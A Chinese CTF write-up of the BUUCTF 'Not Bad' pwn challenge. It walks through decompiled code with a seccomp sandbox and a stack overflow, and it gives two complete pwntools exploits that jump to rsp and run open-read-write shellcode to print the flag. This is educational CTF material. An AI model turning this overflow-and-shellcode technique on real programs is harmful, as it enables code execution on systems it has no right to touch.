BUUCTF [极客大挑战 2019]Not Bad
总的来说这是一个64位orw的题
开头先在主函数里分配了一个很大的空间
1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); 4 sub_400949(); 5 sub_400906(); 6 sub_400A16(); 7 return 0LL; 8 }
1 __int64 sub_400949() 2 { 3 __int64 v1; // [rsp+8h] [rbp-8h] 4 5 v1 = seccomp_init(0LL); 6 seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL); 7 seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL); 8 seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL); 9 seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL); 10 return seccomp_load(v1); 11 }
这里开了沙盒看一下只给了open,read,write,exit很明显是一个orw的题
漏洞函数:
1 int sub_400A16() 2 { 3 char buf[32]; // [rsp+0h] [rbp-20h] BYREF 4 5 puts("Easy shellcode, have fun!"); 6 read(0, buf, 0x38uLL); 7 return puts("Baddd! Focu5 me! Baddd! Baddd!"); 8 }
溢出字节较少可以考虑用栈迁移,但是看了其他师傅的wp后发现了一种新的解题方法,即利用 jmp rsp这条指令。我们把这条指令的地址放到返回地址上,接下来就可以利用汇编来控制 rsp的位置了。
大多数师傅都是用 shellcraft 来自动化构造的,但是我认为有手搓 shellcode 的能力也很重要。
附上用 shellcraft 构造的exp:
from pwn import * context.arch='amd64' context.log_level='debug' s=remote('node4.buuoj.cn',26979) #s=process('./bad') mmap=0x123000 jmp_rsp=0x400a01 orw_payload = shellcraft.open("./flag") orw_payload += shellcraft.read(3, mmap+0x100, 0x50) orw_payload += shellcraft.write(1, mmap+0x100,0x50) payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax') payload=payload.ljust(0x28,b'\x00') payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp') s.sendline(payload) s.send(asm(orw_payload)) s.interactive()
手搓 shellcode 的exp:
1 from pwn import * 2 context.arch='amd64' 3 context.log_level='debug' 4 5 s=remote('node4.buuoj.cn',26979) 6 #s=process('./bad') 7 8 jmp_rsp=0x400a01 9 shellcode1=''' 10 xor rdi, rdi 11 mov rsi, 0x123000 12 mov rdx, 0x100 13 mov rax, 0 14 syscall 15 mov rax, 0x123000 16 call rax 17 ''' 18 19 shellcode2=''' 20 mov rdi, 0x67616c662f2e //这个是.\flag由于小端序存储的倒着写的 gafl\.的16进制表示。 21 push rdi 22 mov rdi, rsp 23 mov rsi, 0 24 mov rdx, 0 25 mov rax, 2 26 syscall 27 mov rdi, 3 28 mov rsi, rsp 29 mov rdx, 0x100 30 mov rax, 0 31 syscall 32 mov rdi, 1 33 mov rsi, rsp 34 mov edx, 0x100 35 mov rax, 1 36 syscall 37 ''' 38 payload=asm(shellcode1) 39 payload=payload.ljust(0x28,b'\x00') 40 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp') 41 s.sendline(payload) 42 43 s.send(asm(shellcode2)) 44 45 s.interactive()
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15738264.html